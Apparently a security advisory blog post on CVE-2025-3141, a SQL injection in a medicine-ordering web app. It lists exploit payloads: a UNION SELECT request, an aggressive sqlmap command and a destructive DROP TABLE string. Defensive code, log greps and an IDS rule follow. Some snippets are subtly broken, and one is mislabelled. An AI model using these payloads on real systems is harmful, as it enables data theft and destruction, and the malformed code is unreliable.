SourceCodester Online Medicine Ordering System 10, SQL Injection, CVE-2025-3141 (Critical)

How the CVE Works:

CVE-2025-3141 is a critical SQL injection vulnerability in SourceCodester Online Medicine Ordering System 1.0. The flaw exists in the `/manage_category.php` file, where improper sanitization of the `ID` parameter allows attackers to inject malicious SQL queries. Remote exploitation is possible, enabling unauthorized database access, data exfiltration, or system compromise. The vulnerability stems from direct user input concatenation into SQL statements without prepared statements or input validation. Attackers can manipulate the `ID` parameter in HTTP requests to execute arbitrary SQL commands, bypassing authentication or extracting sensitive data.

DailyCVE Form:

Platform: SourceCodester
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 04/09/2025

What Undercode Say:

Exploitation:

  1. Craft malicious payload: Append SQL commands to the `ID` parameter:
    GET /manage_category.php?ID=1' UNION SELECT 1,2,user(),4-- - HTTP/1.1
    

2. Automate with SQLmap:

sqlmap -u "http://target.com/manage_category.php?ID=1" --risk=3 --level=5

3. Extract database:

' OR 1=1; DROP TABLE users;--

Protection:

1. Input validation:

if (!is_numeric($_GET['ID'])) { die("Invalid input"); }

2. Prepared statements:

$stmt = $conn->prepare("SELECT FROM categories WHERE id = ?");
$stmt->bind_param("i", $_GET['ID']);

3. WAF rules: Block suspicious patterns like `UNION SELECT` or --.
4. Patch: Update to the latest version or apply vendor fixes.

Detection:

1. Log monitoring:

grep "manage_category.php?ID=.[';]" /var/log/apache2/access.log

2. IDS signatures:

alert http any any -> any any (msg:"SQLi attempt"; content:"manage_category.php?ID="; pcre:"/(\')|(\bUNION\b)/i";)

Mitigation:

1. Disable vulnerable endpoint:

<Location "/manage_category.php">
Deny from all
</Location>

2. Database hardening:

REVOKE ALL PRIVILEGES ON . FROM 'webapp'@'%';

References:

References:

Reported By: https://nvd.nist.gov/vuln/detail/CVE-2025-3141
Extra Source Hub:
Undercode

Join Our Cyber World:

💬 Whatsapp | 💬 TelegramFeatured Image

Scroll to Top